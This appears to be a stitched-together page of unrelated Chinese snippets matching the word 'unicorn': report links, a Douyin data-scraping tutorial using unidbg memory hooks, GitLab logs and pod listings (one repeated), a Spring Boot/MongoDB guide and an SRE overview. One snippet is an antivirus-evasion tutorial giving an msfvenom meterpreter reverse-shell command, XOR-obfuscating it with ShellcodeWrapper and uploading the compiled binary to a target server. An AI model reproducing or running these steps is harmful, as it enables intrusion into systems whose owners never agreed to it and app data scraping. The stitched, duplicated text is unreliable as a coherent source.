unicorn

​经常有人问，“你有没有XXXX的报告啊” （其实没人问，我自己加戏） 那我就把自己的收藏夹分享一下吧！（不是很完整，挑了几个好用的网站，不要钱的） 大家可以按需取用，在需要copy一下（参考一下）的时候十分有效。 1、德勤——四大不是白叫的 https:// www2.deloitte.com/cn/zh .html 四大之一，产出稳定，质量一流。直接用搜索功能就可以方便找到需要的报告。 放几个报告的链接： 《“十四五”规划的思考》 https:// www2.deloitte.com/conte nt/dam/Deloitte/cn/Documents/ser-soe-br/deloitte-cn-fourteenth-five-year-plan-report-zh-200521.pdf 《5G赋能智慧城市白皮书》——德勤携手中国联通联合发布 https:// www2.deloitte.com/conte nt/dam/Deloitte/cn/Documents/technology-media-telecommunications/deloitte-cn-tmt-empowering-smart-cities-with-5g-white-paper-zh-200325.pdf 2、TalkingData——数据的力量 http:// mi.talkingdata.com

抖音数据采集教程，unidbg Ollvm 字符串加密解析 短视频、直播数据实时采集接口，请查看文档： TiToData <br>免责声明：本文档仅供学习与参考，请勿用于非法用途！否则一切后果自负。<br> <br>原理： 利用 unicorn 的 mem hook 在内存加载完 so 后，dump 出纯净的数据。<br>有两种方法： 核心方法 方法1: 利用 getBackend() 来复刻 Unicorn 的内存 hook 方法。 方法2: 利用 traceCode() 来 trace 指定内存段， hook 内存数据。 注意， getBackend 是用 Unicorn 来驱动的， 所以只能用在 dbg 的 unicorn 引擎上<br>以 getBackend 为例 emulator.getBackend().hook_add_new(new WriteHook() { @Override public void hook(Backend backend, long address, int size, long value, Object user) { System.out.println(Long.toHexString(address) + "----" + size + "----" + value); byte[] bytes = long2Bytes

工具免杀 选择了几个简单或者近期还有更新的免杀工具进行学习 ShellcodeWrapper 项目地址 https://github.com/Arno0x/ShellcodeWrapper 该工具的原理是使用异或加密或者aes加密，做到混淆，进行免杀。 先使用msfvenom生成raw格式文件 msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f raw -o shellcode.raw 下面命令 mi0 是密码随意写即可。 python shellcode_encoder.py -cpp -cs -py payload/shellcode.raw mi0 xor 会生成3个文件，用C++编译的cpp文件，用python编译的py文件和用c#编译的cs文件 直接丢到vs中把cpp编译生成exe文件即可，上传目标服务器。 unicorn 项目地址 https://github.com/trustedsec/unicorn.git 从github上下载下来就可以运行，使用方法非常简单 支持生成ps1、macro、hta、dde等形式的代码和文件 所有类型的使用方法如下 Usage: python unicorn.py payload reverse_ipaddr

gitlab组件图 gitlab在k8s上占用资源 # kubectl top pods -n default | grep git* gitlab-gitaly-0 9m 444Mi gitlab-gitlab-exporter-59c6bdb69c-gz9nf 5m 36Mi gitlab-gitlab-shell-547cc48d99-kmrbp 10m 21Mi gitlab-gitlab-shell-547cc48d99-szg74 8m 25Mi gitlab-minio-5746f7f7c7-tdff5 0m 47Mi gitlab-prometheus-server-7d8bcf896d-vm5kq 14m 650Mi gitlab-redis-cd6b45457-2s4cg 9m 17Mi gitlab-registry-6c5df4646f-mbdkr 0m 15Mi gitlab-registry-6c5df4646f-mqkxl 0m 31Mi gitlab-sidekiq-all-in-1-576d89544d-8swmw 28m 967Mi gitlab-unicorn-68f8f8d8d9-6clpv 8m 1510Mi gitlab-unicorn-68f8f8d8d9-xbt8j 10m 1522Mi gitlab组件简介 对比kubectl

SpringBoot2.x与MongoDB集成(十) 准备工作 介绍MongoDB与Spring Boo集成，并通过 MongoRepository 以及 MongoTemplate 来执行CRUD操作。 Spring Boot：2.3.0.RELEASE Spring Boot Data MongoDB：2.3.0.RELEASE MongoDB：4.2.6 MongoDB Driver：4.0.3 要操作的集合示例数据结构(即model) Department： String id String name String description Array employees Employee： String empId String name int age double salary one to many relationships 安装MongoDB MongoDB快速入门指南与docker-compose快体验 https://www.yuque.com/ekko/database/dkluyg 创建Spring Boot项目 SpringBoot2.x快速入门指南(一) https://www.yuque.com/ekko/spring/qqt7xd 添加Mongo依赖 <dependency> <groupId>org.springframework.boot<

问题： 502 Whoops, GitLab is taking too much time to respond. 日志： [root@cs12-66-gitlab ~]# my gitlab-ctl tail -bash: my: command not found [root@cs12-66-gitlab ~]# gitlab-ctl tail ==> /var/log/gitlab/gitlab-shell/gitlab-shell.log <== # Logfile created on 2018-02-02 14:34:26 +0800 by logger.rb/56438 ==> /var/log/gitlab/gitlab-rails/gitlab-rails-db-migrate-2018-02-02-14-34-39.log <== -> 0.3182s == Seed from /opt/gitlab/embedded/service/gitlab-rails/db/fixtures/production/001_admin.rb Administrator account created: login: root password: You'll be prompted to create one on your first visit. == Seed

SRE网站可靠性工程师 SRE需要做什么？ 一般: 故障模式，尤其是SPOF(单点故障)。消除SPOFs是你作为SRE最大的挑战和乐趣。 基础设施组件，从应用程序到硬件(服务器、交换机、路由器、互联网连接、防火墙、isp、互联网路由(BGP)、IPS系统等)。 应用程序级别: 应用程序负载测试、内存泄漏和断点。 服务器级别: 高可用性和系统故障转移。如何使系统优雅地失败，而不会丢失事务并从最终用户的角度保持有状态。 备份系统。 硬盘的可靠性和故障转移(包括RAID功能)。在数据中心级别，应该考虑灾难恢复(确保故障转移到不同的位置)。 安全与管理: 了解不同类型的网络安全攻击。 sla——把最好的留到最后，sla(service level agreements服务水平协议)是SRE工作中最重要的方面之一。设置、监视和执行sla将占用大量工作。 SRE核心组件 SRE的以下5个理念可以通过事实数据和洞察力带来更好的客户体验。可观察性和实用的度量标准是现SRE促进服务弹性和基础设施正常运行的最佳方法——满足客户的期望。 1)可用性 SRE工程师将负责制定和满足服务水平的目标、协议和指标(SLOs、sla和SLIs)。基于底层应用程序和基础设施的成熟度，以及整个团队的结构和可靠性实践的支持，SREs可以评估合理的指标，以量化客户的正常运行时间和可用性。什么样的可用性水平是合理的

gitlab组件图 gitlab在k8s上占用资源 # kubectl top pods -n default | grep git* gitlab-gitaly-0 9m 444Mi gitlab-gitlab-exporter-59c6bdb69c-gz9nf 5m 36Mi gitlab-gitlab-shell-547cc48d99-kmrbp 10m 21Mi gitlab-gitlab-shell-547cc48d99-szg74 8m 25Mi gitlab-minio-5746f7f7c7-tdff5 0m 47Mi gitlab-prometheus-server-7d8bcf896d-vm5kq 14m 650Mi gitlab-redis-cd6b45457-2s4cg 9m 17Mi gitlab-registry-6c5df4646f-mbdkr 0m 15Mi gitlab-registry-6c5df4646f-mqkxl 0m 31Mi gitlab-sidekiq-all-in-1-576d89544d-8swmw 28m 967Mi gitlab-unicorn-68f8f8d8d9-6clpv 8m 1510Mi gitlab-unicorn-68f8f8d8d9-xbt8j 10m 1522Mi gitlab组件简介 对比kubectl